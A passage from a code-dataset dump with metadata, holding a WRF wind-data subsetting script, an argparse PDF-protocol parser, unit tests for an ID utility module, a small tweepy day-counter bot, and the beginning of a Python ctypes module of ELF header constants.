"line_number": 86, "usage_type": "name"}, {"api_name": "nose.tools.assert_equal", "line_number": 91, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 91, "usage_type": "name"}, {"api_name": "nose.tools.assert_raises", "line_number": 95, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 95, "usage_type": "name"}, {"api_name": "automata.automaton.InvalidSymbolError", "line_number": 95, "usage_type": "attribute"}, {"api_name": "automata.automaton", "line_number": 95, "usage_type": "name"}, {"api_name": "nose.tools.assert_raises", "line_number": 100, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 100, "usage_type": "name"}, {"api_name": "automata.automaton.FinalStateError", "line_number": 100, "usage_type": "attribute"}, {"api_name": "automata.automaton", "line_number": 100, "usage_type": "name"}]} +{"seq_id": "366149422", "text": "import xarray as xr\nimport numpy as np\nfrom varlist import var_list\nimport time\nimport glob\nfrom functions import HourlyPrecip\n\nt0 = time.time()\n\nindir = '/scratch/wrudisill/PrecipWhitePaper/WRF/WY2017/d02/wrfout_d02*'\noutdir = './'\n\n# Select all files except last (which is a repeat of the first hour of the following water year) for each WY\nfiles = sorted(glob.glob(indir))[:-1]\n\n# open multi-file dataset (this function accepts unix wildcards)\nd = xr.open_mfdataset(files, drop_variables=var_list, concat_dim='Time')\n\n# Swap time and XTIME\nd = d.swap_dims({'Time':'XTIME'})\t\nd['PRCP'] = d['RAINNC']\n# Get mean/min/max by day of year for desired variables \n\nnew_array = d[['U10','V10']].resample(XTIME = '24H').mean(dim = 'XTIME') # create daily means of few variables\n\nnew_array['WIND_DIR'] = d['U10']\nnew_array['WIND_DIR'].values = np.arctan2(d['U10'].values, d['V10'].values)\n\n\nnew_array['VAR_U10'] = d['V10'].resample(XTIME = '24H').var(dim = 'XTIME') # create daily maximum temperature\nnew_array['VAR_V10'] = d['U10'].resample(XTIME = '24H').var(dim = 'XTIME') # create daily maximum temperature\n\n\n\n# Adjust some meta data\nnew_array['V10'].attrs = [('description','DAILY MEAN V10'), ('units','m/s')]\nnew_array['U10'].attrs = [('description','DAILY MEAN U10'), ('units','m/s')]\nnew_array['VAR_U10'].attrs = [('description','DAILY VAR U10'), ('units','m/s')]\nnew_array['VAR_U10'].attrs = [('description','DAILY VAR U10'), ('units','m/s')]\n\n# assign attributes to the file \nnew_array.attrs = d.attrs \n\n# Write new netcdf file\nnew_array.to_netcdf(outdir+'/WY2010_WINDS.nc')\n\ndel d, new_array\t\n\nt1 = time.time()\nprint(\"Total time to create this subset was:\", t1 - t0, \"seconds.\")\n\n", "sub_path": "old_junk_stuff/wrf_subsetting/subset_winds.py", "file_name": "subset_winds.py", "file_ext": "py", "file_size_in_byte": 1685, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "time.time", "line_number": 8, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 14, "usage_type": "call"}, {"api_name": "xarray.open_mfdataset", "line_number": 17, "usage_type": "call"}, {"api_name": "varlist.var_list", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.arctan2", "line_number": 27, "usage_type": "call"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}]} +{"seq_id": "290522330", "text": "#!/usr/bin/env python3\n# -*- coding: utf8 -*-\n\nimport veetou\nimport argparse\nimport re\nimport sys\n\nclass SpliAppendTokens(argparse._AppendAction):\n def __init__(self, *args, **kw):\n super(SpliAppendTokens, self).__init__(*args, **kw)\n def __call__(self, parser, namespace, values, *args, **kw):\n values = re.split('\\W+', values)\n for value in values:\n super(SpliAppendTokens, self).__call__(parser, namespace, value, *args, **kw)\n\n\nargpar = argparse.ArgumentParser()\nargpar.add_argument('inputfile', type=str, metavar='FILE', nargs='*', help='input file (pdf) to be processed')\nargpar.add_argument('-I', '--input-type', type=str, dest='input_type', choices = ['pdf', 'csv'], default='pdf', help='input format (default: pdf)')\nargpar.add_argument('-S', '--input-separator', type=str, dest='input_separator', metavar='SEP', default=';', help='cell separator (in input csv file, default: \";\")')\nargpar.add_argument('-c', '--input-encoding', type=str, dest='input_encoding', metavar='CODE', default='utf8', help='character set used to encode input text (default: utf8)')\nargpar.add_argument('-O', '--output-type', type=str, dest='output_type', choices = ['csv', 'txt'], default='csv', help='output format (default: csv)')\nargpar.add_argument('-s', '--output-separator', type=str, dest='output_separator', metavar='SEP', default=';', help='field separator (for output csv, default: \";\")')\nargpar.add_argument('-o', '--output', type=str, dest='output', metavar='FILE', help='output file name')\n##argpar.add_argument('-f', '--first', type=int, dest='first_page', help='first page number')\n##argpar.add_argument('-l', '--last', type=int, dest='last_page', help='last page number')\nargpar.add_argument('--fields', action=SpliAppendTokens, dest='fields', help='fields that should appear in output (in order)')\nargpar.add_argument('--fields-include', action=SpliAppendTokens, dest='include_fields', help='include these (extra) fields in output')\nargpar.add_argument('--fields-exclude', action=SpliAppendTokens, dest='exclude_fields', help='exclude these fields from output')\nargpar.add_argument('-r', '--raw-header', dest='raw_header', action='store_true', help='use raw field names instead of column names')\nargpar.add_argument('--field-info', dest='field_info', action='store_true', help='dump list of predefined fields and exit')\nargpar.add_argument('-m', '--map', action='append', dest='maps', metavar='FILE', help='insert extra values from map file(s)')\nargs = argpar.parse_args()\n\n##def pagerange(npages):\n## if args.first_page is not None:\n## first_page = args.first_page\n## else:\n## first_page = 1\n## if args.last_page is not None:\n## last_page = min(args.last_page, npages)\n## else:\n## last_page = npages\n## return (first_page, last_page)\n##\nif args.field_info:\n fields = veetou.ProtokolZaliczen.all_fields()\n titles = veetou.ProtokolZaliczen.all_field_titles()\n print(u'\\n'.join([u'%s:%s' % (k,titles[k]) for k in fields]))\n exit(0)\n##\n##\n##if args.output:\n## outfile = open(args.output, 'wt')\n##else:\n## outfile = sys.stdout\n##\n##if args.output_type == 'txt':\n## for filename in args.inputfile:\n## npages = veetou.pdfpages(filename)\n## first_page, last_page = pagerange(npages)\n## for page in range(first_page, last_page + 1):\n## txt = veetou.pdftotext(filename, page, pages = npages)\n## outfile.write(txt)\n##else:\n## kw = dict()\n## if args.fields:\n## kw['fields'] = args.fields\n## if args.include_fields:\n## kw['include_fields'] = args.include_fields\n## if args.exclude_fields:\n## kw['exclude_fields'] = args.exclude_fields\n##\n## maps = veetou.Maps()\n## if args.maps:\n## for m in args.maps:\n## with open(m, 'rt') as f:\n## maps.parse(f.read().splitlines())\n## kw['maps'] = maps\n##\n## karta = veetou.ProtokolZaliczen()\n## header = karta.generate_subjects_header(raw = args.raw_header, **kw)\n## outfile.write(args.output_separator.join(header) + '\\n')\n## if args.input_type == 'pdf':\n## for filename in args.inputfile:\n## npages = veetou.pdfpages(filename)\n## first_page, last_page = pagerange(npages)\n## for page in range(first_page, last_page + 1):\n## lines = veetou.pdftotext(filename, page, pages = npages).splitlines()\n## karta.reset(file = filename, page = page, pages = npages)\n## karta.parse_txt(lines)\n## table = karta.generate_subjects_rows(**kw)\n## if len(table) > 0:\n## s = u'\\n'.join([ args.output_separator.join(row) for row in table ])\n## outfile.write(u\"%s\\n\" % s)\n## else:\n#### kw = { 'delimiter' : args.input_separator,\n#### 'encoding' : args.input_encoding }\n#### for filename in args.inputfile:\n#### npages = veetou.csvpages(filename, **kw)\n#### first_page, last_page = pagerange(npages)\n#### for page in range(first_page, last_page+1):\n#### pass\n## raise NotImplementedError(\"parsing %s is not implemented yet\" % args.input_type)\n# Local Variables:\n# # tab-width:4\n# # indent-tabs-mode:nil\n# # End:\n# vim: set syntax=python expandtab tabstop=4 shiftwidth=4:\n", "sub_path": "bin/protokoly-zaliczen.py", "file_name": "protokoly-zaliczen.py", "file_ext": "py", "file_size_in_byte": 5352, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse._AppendAction", "line_number": 9, "usage_type": "attribute"}, {"api_name": "re.split", "line_number": 13, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 18, "usage_type": "call"}, {"api_name": "veetou.ProtokolZaliczen.all_fields", "line_number": 48, "usage_type": "call"}, {"api_name": "veetou.ProtokolZaliczen", "line_number": 48, "usage_type": "attribute"}, {"api_name": "veetou.ProtokolZaliczen.all_field_titles", "line_number": 49, "usage_type": "call"}, {"api_name": "veetou.ProtokolZaliczen", "line_number": 49, "usage_type": "attribute"}]} +{"seq_id": "530901044", "text": "\"\"\"\n7/16/21 - need to write these for family as well as c/c (currently only testing the default 'Not creating family data' condition)\n\"\"\"\n\nfrom unittest import TestCase, skip\nfrom unittest.mock import patch\nimport unittest\nfrom scripts import adspid_utils\nimport re\n\nclass CCDict( TestCase ):\n @classmethod\n def setUpClass( cls ):\n adspid_utils.family_data_creation = False\n \n adspid_utils.get_all_partials_in_database( )\n adspid_utils.get_cohort_identifier_codes_table_data( )\n adspid_utils.get_cohort_site_codes_table_data( )\n \n @skip \n @patch('scripts.adspid_utils.unpack_csv') \n def test_new_records_key_correctness( self, csv_impersonator ):\n\n csv_impersonator.return_value = ( [ 'site_indiv_id', 'cohort_identifier_code', 'cohort_site_code' ], [ [ '12345', 'MIA', 'PRHS' ], [ 'abcde', 'MIA', 'MHAS' ] ] )\n current_records_dict, new_records_dict = adspid_utils.create_dict( )\n \n self.assertEqual( [ key for key in new_records_dict.keys( ) ] [ 0 ] , \"MIA-12345\", \"should be CIC_SITEID format\" )\n \n @skip\n @patch('scripts.adspid_utils.unpack_csv') \n def test_current_records_key_correctness( self, csv_impersonator ):\n\n csv_impersonator.return_value = ( [ 'site_indiv_id', 'cohort_identifier_code', 'cohort_site_code' ], [ [ '12345', 'MIA', 'PRHS' ], [ 'abcde', 'MIA', 'MHAS' ] ] )\n current_records_dict, new_records_dict = adspid_utils.create_dict( )\n\n self.assertRegex( [ key for key in current_records_dict.keys( ) ] [ 0 ], r'[A-Z]+\\-[0-9A-Z_]+' )## should work\n\n @skip\n @patch('scripts.adspid_utils.unpack_csv') \n def test_new_records_structure( self, csv_impersonator ):\n \n csv_impersonator.return_value = ( [ 'site_indiv_id', 'cohort_identifier_code', 'cohort_site_code' ], [ [ '12345', 'MIA', 'PRHS' ], [ 'abcde', 'MIA', 'MHAS' ] ] )\n current_records_dict, new_records_dict = adspid_utils.create_dict( )\n test_record = new_records_dict[ [ key for key in new_records_dict.keys( ) ][ 0 ] ] \n \n ## correct structure\n self.assertTrue( isinstance( test_record, dict ), 'Record is not a dict' )\n self.assertTrue( isinstance( new_records_dict, dict ), 'Record is not a dict' )\n \n ## correct keys\n self.assertTrue( set( [ key for key in test_record.keys( ) ] ) == set( [ 'site_indiv_id', 'cohort_identifier_code', 'cohort_site_code', 'lookup_id' ] ), 'Data object keys incdorrect' )\n\n @skip\n @patch('scripts.adspid_utils.unpack_csv') \n def test_current_records_structure( self, csv_impersonator ):\n \n csv_impersonator.return_value = ( [ 'site_indiv_id', 'cohort_identifier_code', 'cohort_site_code' ], [ [ '12345', 'MIA', 'PRHS' ], [ 'abcde', 'MIA', 'MHAS' ] ] )\n current_records_dict, new_records_dict = adspid_utils.create_dict( )\n test_record = current_records_dict[ [ key for key in current_records_dict.keys( ) ][ 0 ] ] \n \n ## correct structure\n self.assertTrue( isinstance( current_records_dict, dict ), 'Record is not a dict' )\n\n\n @patch('scripts.adspid_utils.unpack_csv') \n def test_current_lookup_constructed_correctly( self, csv_impersonator ):\n \n csv_impersonator.return_value = ( [ 'site_indiv_id', 'cohort_identifier_code', 'cohort_site_code' ], [ [ '12345', 'MIA', 'PRHS' ], [ 'abcde', 'MIA', 'MHAS' ] ] )\n current_records_dict, new_records_dict = adspid_utils.create_dict( )\n test_record = new_records_dict[ [ key for key in new_records_dict.keys( ) ][ 0 ] ] \n \n if adspid_utils.family_data_creation:\n pass ## need to code for this, but to check the structure of family data dict\n self.assertTrue( test_record[ 'lookup_id' ] == f\"{ test_record[ 'site_fam_id' ] }_{ test_record[ 'site_indiv_id' ] }\", 'lookup_id and site_indiv_id must match but do not' )\n\n else:\n self.assertTrue( test_record[ 'site_indiv_id' ] == test_record[ 'lookup_id' ], 'lookup_id and site_indiv_id must match but do not' )\n\n ", "sub_path": "tests/test_dict_creation.py", "file_name": "test_dict_creation.py", "file_ext": "py", "file_size_in_byte": 4068, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "unittest.TestCase", "line_number": 11, "usage_type": "name"}, {"api_name": "scripts.adspid_utils.family_data_creation", "line_number": 14, "usage_type": "attribute"}, {"api_name": "scripts.adspid_utils", "line_number": 14, "usage_type": "name"}, {"api_name": "scripts.adspid_utils.get_all_partials_in_database", "line_number": 16, "usage_type": "call"}, {"api_name": "scripts.adspid_utils", "line_number": 16, "usage_type": "name"}, {"api_name": "scripts.adspid_utils.get_cohort_identifier_codes_table_data", "line_number": 17, "usage_type": "call"}, {"api_name": "scripts.adspid_utils", "line_number": 17, "usage_type": "name"}, {"api_name": "scripts.adspid_utils.get_cohort_site_codes_table_data", "line_number": 18, "usage_type": "call"}, {"api_name": "scripts.adspid_utils", "line_number": 18, "usage_type": "name"}, {"api_name": "scripts.adspid_utils.create_dict", "line_number": 25, "usage_type": "call"}, {"api_name": "scripts.adspid_utils", "line_number": 25, "usage_type": "name"}, {"api_name": "unittest.skip", "line_number": 20, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 21, "usage_type": "call"}, {"api_name": "scripts.adspid_utils.create_dict", "line_number": 34, "usage_type": "call"}, {"api_name": "scripts.adspid_utils", "line_number": 34, "usage_type": "name"}, {"api_name": "unittest.skip", "line_number": 29, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 30, "usage_type": "call"}, {"api_name": "scripts.adspid_utils.create_dict", "line_number": 43, "usage_type": "call"}, {"api_name": "scripts.adspid_utils", "line_number": 43, "usage_type": "name"}, {"api_name": "unittest.skip", "line_number": 38, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 39, "usage_type": "call"}, {"api_name": "scripts.adspid_utils.create_dict", "line_number": 58, "usage_type": "call"}, {"api_name": "scripts.adspid_utils", "line_number": 58, "usage_type": "name"}, {"api_name": "unittest.skip", "line_number": 53, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 54, "usage_type": "call"}, {"api_name": "scripts.adspid_utils.create_dict", "line_number": 69, "usage_type": "call"}, {"api_name": "scripts.adspid_utils", "line_number": 69, "usage_type": "name"}, {"api_name": "scripts.adspid_utils.family_data_creation", "line_number": 72, "usage_type": "attribute"}, {"api_name": "scripts.adspid_utils", "line_number": 72, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 65, "usage_type": "call"}]} +{"seq_id": "37664663", "text": "# API.user_timeline() - retorna 20 últimos status - é subclasse de lista\r\n\r\nimport tweepy\r\nfrom keys_format import *\r\nfrom datetime import date\r\n\r\nauth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\r\nauth.set_access_token(ACCESS_KEY, ACCESS_SECRET)\r\napi = tweepy.API(auth)\r\n\r\nstatuses = api.user_timeline()\r\nlast_status = statuses[0].text.lower()\r\n\r\ntoday = date.today()\r\n\r\ntweet = tweepy.Cursor(api.search, q = \"#theodinproject\", since = \"2019-06-14\", until = \"2014-11-30\", lang = \"en\").items()\r\nprint(type(tweet))\r\n\r\nif \"#theodinproject\" in last_status:\r\n number = int(last_status[4:6])\r\n new_number = number + 1\r\n api.update_status(\"Day {} - #theodinproject #100DaysOfCode #javascript #python\".format(new_number))\r\n\r\n\r\n#for status in statuses:\r\n# if \"#theodinproject\" in status.text:\r\n# print(str(status.id) + \" - \" + status.text)\r\n ", "sub_path": "my_twitter_bot.py", "file_name": "my_twitter_bot.py", "file_ext": "py", "file_size_in_byte": 870, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "tweepy.OAuthHandler", "line_number": 7, "usage_type": "call"}, {"api_name": "tweepy.API", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 14, "usage_type": "name"}, {"api_name": "tweepy.Cursor", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "438460341", "text": "\r\n\r\n# Refer: https://linux.die.net/include/elf.h\r\n\r\nfrom ctypes import *\r\nimport struct\r\nimport io\r\nimport sys\r\n\r\n# Standard ELF types. #\r\n\r\n# Data Type #\r\n# 8-bit c_ubyte c_byte\r\n# 16-bit c_ushort c_short\r\n# 32-bit c_uint c_int\r\n# 64-bit c_ulonglong c_longlong\r\n\r\n# Type for a 16-bit quantity. #\r\nElf32_Half = c_ushort\r\nElf64_Half = c_ushort\r\n\r\n# Types for signed and unsigned 32-bit quantities. #\r\nElf32_Word = c_uint\r\nElf32_Sword = c_int\r\nElf64_Word = c_uint\r\nElf64_Sword = c_int\r\n\r\n# Types for signed and unsigned 64-bit quantities. #\r\nElf32_Xword = c_ulonglong\r\nElf32_Sxword = c_longlong\r\nElf64_Xword = c_ulonglong\r\nElf64_Sxword = c_longlong\r\n\r\n\r\n# Type of addresses. #\r\nElf32_Addr = c_uint\r\nElf64_Addr = c_ulonglong\r\n\r\n# Type of file offsets. #\r\nElf32_Off = c_uint\r\nElf64_Off = c_ulonglong\r\n\r\n# Type for section indices, which are 16-bit quantities. #\r\nElf32_Section = c_ushort\r\nElf64_Section = c_ushort\r\n\r\n# Type for version symbol information. #\r\nElf32_Versym = Elf32_Half\r\nElf64_Versym = Elf64_Half\r\n\r\n# The ELF file header. This appears at the start of every ELF file. #\r\n\r\n# ELF e_ident \r\nEI_NIDENT = 16\r\n\r\nElf32_Ehdr_Size = 52 # ELF32 header size \r\nElf64_Ehdr_Size = 64 # ELF64 header size \r\n\r\n# Fields in the e_ident array. The EI_* macros are indices into the array. \r\n# The macros under each EI_* macro are the values the byte may have. \r\n\r\n# ELF MAGIC File identification \r\nELFMAG0 = 0x7f # Magic number byte 0 \r\nELFMAG1 = 'E' # Magic number byte 1\r\nELFMAG2 = 'L' # Magic number byte 2\r\nELFMAG3 = 'F' # Magic number byte 3 \r\nELFMAG = [ELFMAG0, ord(ELFMAG1), ord(ELFMAG2), ord(ELFMAG3)] \r\n\r\n# ELF File class \r\nELFCLASSNONE = 0 # Invalid class\r\nELFCLASS32 = 1 # 32-bit objects \r\nELFCLASS64 = 2 # 64-bit objects\r\nELFCLASS = {ELFCLASSNONE:'Invalid class',ELFCLASS32:'ELF32',ELFCLASS64:'ELF64'}\r\n\r\n# ELF DATA encoding \r\nELFDATANONE = 0 # Invalid data encoding\r\nELFDATA2LSB = 1 # 2's complement, little endian\r\nELFDATA2MSB = 2 # 2's complement, big endian \r\nELFDATA = {ELFDATANONE:'Invalid data encoding',ELFDATA2LSB:'''2's complement, little endian''',ELFDATA2MSB:'''2's complement, big endian'''}\r\n\r\n# ELF File version Value must be EV_CURRENT\r\n# Legal values for e_version (version)\r\nEV_NONE = 0 # Invalid ELF version \r\nEV_CURRENT = 1 # Current version\r\nELFVERSION = {EV_NONE:'0 (Invalid)',EV_CURRENT:'1 (Current)'}\r\n\r\n# ELF OS ABI identification\r\nELFOSABI_NONE = 0 # UNIX System V ABI (UNIX - System V)\r\nELFOSABI_SYSV = 0 # Alias\r\nELFOSABI_HPUX = 1 # HP-UX \r\nELFOSABI_NETBSD = 2 # NetBSD \r\nELFOSABI_LINUX = 3 # Linux \r\nELFOSABI_SOLARIS = 6 # Sun Solaris\r\nELFOSABI_AIX = 7 # IBM AIX \r\nELFOSABI_IRIX = 8 # SGI Irix\r\nELFOSABI_FREEBSD = 9 # FreeBSD\r\nELFOSABI_TRU64 = 10 # Compaq TRU64 UNIX\r\nELFOSABI_MODESTO = 11 # Novell Modesto\r\nELFOSABI_OPENBSD = 12 # OpenBSD\r\nELFOSABI_ARM = 97 # ARM \r\nELFOSABI_STANDALONE = 255 # Standalone (embedded) application \r\n\r\nELFOSABI = {ELFOSABI_SYSV:'UNIX - System V',ELFOSABI_HPUX:'HP-UX',ELFOSABI_NETBSD:'NetBSD',ELFOSABI_LINUX:'Linux',\r\n ELFOSABI_SOLARIS:'Sun Solaris',ELFOSABI_AIX:'IBM AIX',ELFOSABI_IRIX:'SGI Irix',ELFOSABI_FREEBSD:'FreeBSD',\r\n ELFOSABI_TRU64:'Compaq TRU64 UNIX',ELFOSABI_MODESTO:'Novell Modesto',ELFOSABI_OPENBSD:'OpenBSD',\r\n ELFOSABI_ARM:'ARM',ELFOSABI_STANDALONE:'Standalone (embedded) application'\r\n}\r\n\r\n# Legal values for e_type (object file type)\r\n\r\nET_NONE = 0 # No file type\r\nET_REL = 1 # Relocatable file \r\nET_EXEC = 2 # Executable file\r\nET_DYN = 3 # Shared object file\r\nET_CORE = 4 # Core file\r\nET_NUM = 5 # Number of defined types\r\nET_LOOS = 0xfe00 # OS-specific range start \r\nET_HIOS = 0xfeff # OS-specific range end \r\nET_LOPROC = 0xff00 # Processor-specific range start \r\nET_HIPROC = 0xffff # Processor-specific range end \r\nELFTYPE = {ET_NONE:'No file type',ET_REL:'REL (Relocatable file)',ET_EXEC:'EXEC (Executable file)',ET_DYN:'DYN (Shared object file)',ET_CORE:'CORE (Core file)'}\r\n\r\n# Legal values for e_machine (architecture)\r\n\r\nEM_NONE = 0 # No machine \r\nEM_M32 = 1 # AT&T WE 32100 \r\nEM_SPARC = 2 # SUN SPARC \r\nEM_386 = 3 # Intel 80386 \r\nEM_68K = 4 # Motorola m68k family \r\nEM_88K = 5 # Motorola m88k family \r\nEM_860 = 7 # Intel 80860 \r\nEM_MIPS = 8 # MIPS R3000 big-endian \r\nEM_S370 = 9 # IBM System/370 \r\nEM_MIPS_RS3_LE = 10 # MIPS R3000 little-endian \r\n\r\nEM_PARISC = 15 # HPPA \r\nEM_VPP500 = 17 # Fujitsu VPP500 \r\nEM_SPARC32PLUS = 18 # Sun's \"v8plus\" \r\nEM_960 = 19 # Intel 80960 \r\nEM_PPC = 20 # PowerPC \r\nEM_PPC64 = 21 # PowerPC 64-bit \r\nEM_S390 = 22 # IBM S390 \r\n\r\nEM_V800 = 36 # NEC V800 series \r\nEM_FR20 = 37 # Fujitsu FR20 \r\nEM_RH32 = 38 # TRW RH-32 \r\nEM_RCE = 39 # Motorola RCE \r\nEM_ARM = 40 # ARM \r\nEM_FAKE_ALPHA = 41 # Digital Alpha \r\nEM_SH = 42 # Hitachi SH \r\nEM_SPARCV9 = 43 # SPARC v9 64-bit \r\nEM_TRICORE = 44 # Siemens Tricore \r\nEM_ARC = 45 # Argonaut RISC Core \r\nEM_H8_300 = 46 # Hitachi H8/300 \r\nEM_H8_300H = 47 # Hitachi H8/300H \r\nEM_H8S = 48 # Hitachi H8S \r\nEM_H8_500 = 49 # Hitachi H8/500 \r\nEM_IA_64 = 50 # Intel Merced \r\nEM_MIPS_X = 51 # Stanford MIPS-X \r\nEM_COLDFIRE = 52 # Motorola Coldfire \r\nEM_68HC12 = 53 # Motorola M68HC12 \r\nEM_MMA = 54 # Fujitsu MMA Multimedia Accelerator\r\nEM_PCP = 55 # Siemens PCP \r\nEM_NCPU = 56 # Sony nCPU embeeded RISC \r\nEM_NDR1 = 57 # Denso NDR1 microprocessor \r\nEM_STARCORE = 58 # Motorola Start*Core processor \r\nEM_ME16 = 59 # Toyota ME16 processor \r\nEM_ST100 = 60 # STMicroelectronic ST100 processor \r\nEM_TINYJ = 61 # Advanced Logic Corp. Tinyj emb.fam\r\nEM_X86_64 = 62 # AMD x86-64 architecture / Advanced Micro Devices X86-64\r\nEM_PDSP = 63 # Sony DSP Processor \r\n\r\nEM_FX66 = 66 # Siemens FX66 microcontroller \r\nEM_ST9PLUS = 67 # STMicroelectronics ST9+ 8/16 mc \r\nEM_ST7 = 68 # STmicroelectronics ST7 8 bit mc \r\nEM_68HC16 = 69 # Motorola MC68HC16 microcontroller \r\nEM_68HC11 = 70 # Motorola MC68HC11 microcontroller \r\nEM_68HC08 = 71 # Motorola MC68HC08 microcontroller \r\nEM_68HC05 = 72 # Motorola MC68HC05 microcontroller \r\nEM_SVX = 73 # Silicon Graphics SVx \r\nEM_ST19 = 74 # STMicroelectronics ST19 8 bit mc \r\nEM_VAX = 75 # Digital VAX \r\nEM_CRIS = 76 # Axis Communications 32-bit embedded processor \r\nEM_JAVELIN = 77 # Infineon Technologies 32-bit embedded processor \r\nEM_FIREPATH = 78 # Element 14 64-bit DSP Processor \r\nEM_ZSP = 79 # LSI Logic 16-bit DSP Processor \r\nEM_MMIX = 80 # Donald Knuth's educational 64-bit processor \r\nEM_HUANY = 81 # Harvard University machine-independent object files \r\nEM_PRISM = 82 # SiTera Prism \r\nEM_AVR = 83 # Atmel AVR 8-bit microcontroller \r\nEM_FR30 = 84 # Fujitsu FR30 \r\nEM_D10V = 85 # Mitsubishi D10V \r\nEM_D30V = 86 # Mitsubishi D30V \r\nEM_V850 = 87 # NEC v850 \r\nEM_M32R = 88 # Mitsubishi M32R \r\nEM_MN10300 = 89 # Matsushita MN10300 \r\nEM_MN10200 = 90 # Matsushita MN10200 \r\nEM_PJ = 91 # picoJava \r\nEM_OPENRISC = 92 # OpenRISC 32-bit embedded processor \r\nEM_ARC_A5 = 93 # ARC Cores Tangent-A5 \r\nEM_XTENSA = 94 # Tensilica Xtensa Architecture \r\n\r\nELFMACHINE = {EM_NONE:'NONE',EM_M32:'AT&T WE 32100',EM_SPARC:'SUN SPARC',EM_386:'Intel 80386',EM_68K:'Motorola m68k family',EM_88K:'Motorola m88k family',EM_860:'Intel 80860',\r\nEM_MIPS:'MIPS R3000 big-endian',EM_S370:'IBM System/370',EM_MIPS_RS3_LE:'MIPS R3000 little-endian',EM_PARISC:'HPPA',EM_VPP500:'Fujitsu VPP500',EM_SPARC32PLUS:'''Sun's \"v8plus\"''',\r\nEM_960:'Intel 80960',EM_PPC:'PowerPC',EM_PPC64:'PowerPC 64-bit',EM_S390:'IBM S390',EM_V800:'NEC V800 series',EM_FR20:'Fujitsu FR20',EM_RH32:'TRW RH-32',EM_RCE:'Motorola RCE',EM_ARM:'ARM',\r\nEM_FAKE_ALPHA:'Digital Alpha',EM_SH:'Hitachi SH',EM_SPARCV9:'SPARC v9 64-bit',EM_TRICORE:'Siemens Tricore',EM_ARC:'Argonaut RISC Core',EM_H8_300:'Hitachi H8/300',\r\nEM_H8_300H:'Hitachi H8/300H',EM_H8S:'Hitachi H8S',EM_H8_500:'Hitachi H8/500',EM_IA_64:'Intel Merced',EM_MIPS_X:'Stanford MIPS-X',EM_COLDFIRE:'Motorola Coldfire',\r\nEM_68HC12:'Motorola M68HC12',EM_MMA:'Fujitsu MMA Multimedia Accelerator',EM_PCP:'Siemens PCP',EM_NCPU:'Sony nCPU embeeded RISC',EM_NDR1:'Denso NDR1 microprocessor',\r\nEM_STARCORE:'Motorola Start*Core processor',EM_ME16:'Toyota ME16 processor',EM_ST100:'STMicroelectronic ST100 processor',EM_TINYJ:'Advanced Logic Corp. Tinyj emb.fam',\r\nEM_X86_64:'Advanced Micro Devices X86-64',EM_PDSP:'Sony DSP Processor',EM_FX66:'Siemens FX66 microcontroller',EM_ST9PLUS:'STMicroelectronics ST9+ 8/16 mc',EM_ST7:'STmicroelectronics ST7 8 bit mc',\r\nEM_68HC16:'Motorola MC68HC16 microcontroller',EM_68HC11:'Motorola MC68HC11 microcontroller',EM_68HC08:'Motorola MC68HC08 microcontroller',EM_68HC05:'Motorola MC68HC05 microcontroller',\r\nEM_SVX:'Silicon Graphics SVx',EM_ST19:'STMicroelectronics ST19 8 bit mc',EM_VAX:'Digital VAX',EM_CRIS:'Axis Communications 32-bit embedded processor',EM_JAVELIN:'Infineon Technologies 32-bit embedded processor',\r\nEM_FIREPATH:'Element 14 64-bit DSP Processor',EM_ZSP:'LSI Logic 16-bit DSP Processor',EM_MMIX:'''Donald Knuth's educational 64-bit processor''',EM_HUANY:'Harvard University machine-independent object files',\r\nEM_PRISM:'SiTera Prism',EM_AVR:'Atmel AVR 8-bit microcontroller',EM_FR30:'Fujitsu FR30',EM_D10V:'Mitsubishi D10V',EM_D30V:'Mitsubishi D30V',EM_V850:'NEC v850',EM_M32R:'Mitsubishi M32R',\r\nEM_MN10300:'Matsushita MN10300',EM_MN10200:'Matsushita MN10200',EM_PJ:'picoJava',EM_OPENRISC:'OpenRISC 32-bit embedded processor',EM_ARC_A5:'ARC Cores Tangent-A5',EM_XTENSA:'Tensilica Xtensa Architecture',\r\n}\r\n\r\n# Special section indices. \r\n\r\nSHN_UNDEF = 0 # Undefined section \r\nSHN_LORESERVE = 0xff00 # Start of reserved indices \r\nSHN_LOPROC = 0xff00 # Start of processor-specific \r\nSHN_BEFORE = 0xff00 # Order section before all others (Solaris). \r\nSHN_AFTER = 0xff01 # Order section after all others (Solaris). \r\nSHN_HIPROC = 0xff1f # End of processor-specific \r\nSHN_LOOS = 0xff20 # Start of OS-specific \r\nSHN_HIOS = 0xff3f # End of OS-specific \r\nSHN_ABS = 0xfff1 # Associated symbol is absolute \r\nSHN_COMMON = 0xfff2 # Associated symbol is common \r\nSHN_XINDEX = 0xffff # Index is in extra table. \r\nSHN_HIRESERVE = 0xffff # End of reserved indices \r\n\r\n\r\n# Legal values for sh_type (section type)\r\n\r\nSHT_NULL = 0 # Section header table entry unused \r\nSHT_PROGBITS = 1 # Program data \r\nSHT_SYMTAB = 2 # Symbol table \r\nSHT_STRTAB = 3 # String table \r\nSHT_RELA = 4 # Relocation entries with addends \r\nSHT_HASH = 5 # Symbol hash table \r\nSHT_DYNAMIC = 6 # Dynamic linking information \r\nSHT_NOTE = 7 # Notes \r\nSHT_NOBITS = 8 # Program space with no data (bss) \r\nSHT_REL = 9 # Relocation entries, no addends \r\nSHT_SHLIB = 10 # Reserved 